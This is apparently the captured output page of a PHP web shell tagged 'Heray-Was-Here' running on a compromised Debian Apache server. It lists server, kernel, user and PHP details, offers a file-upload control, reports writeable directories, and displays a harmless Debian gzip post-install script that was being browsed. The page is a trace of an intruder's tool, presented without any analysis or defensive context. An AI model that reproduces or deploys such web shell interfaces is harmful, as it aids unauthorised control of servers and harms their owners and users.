Heray-Was-Here
Server : Apache/2.4.66 (Debian)
System : Linux 8783c923f53b 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec 5 13:09:44 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.30
Disable Function : NONE
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/lib/dpkg/info/gzip.postinst
#!/bin/sh

set -e

# begin-remove-after: released:forky
if [ "$1" = configure ]; then
	for tool in zcat zcmp zdiff zegrep zfgrep zgrep; do
		if [ "$(dpkg-divert --truename "/usr/bin/$tool")" = "/usr/bin/$tool.usr-is-merged" ] &&
			[ "$(dpkg-divert --listpackage "/usr/bin/$tool")" = zutils ]; then
			# This diversion was added by preinst and. This
			# indicates that zutils was unpacked at preinst time
			# and is now removed. Thus we clean up the diversion.
			echo "Removing duplicated diversion of /bin/$tool after zutils is removed."
			dpkg-divert --rename --package zutils \
				--divert "/usr/bin/$tool.usr-is-merged" \
				--remove "/usr/bin/$tool"
		fi
	done
fi
# end-remove-after



Hry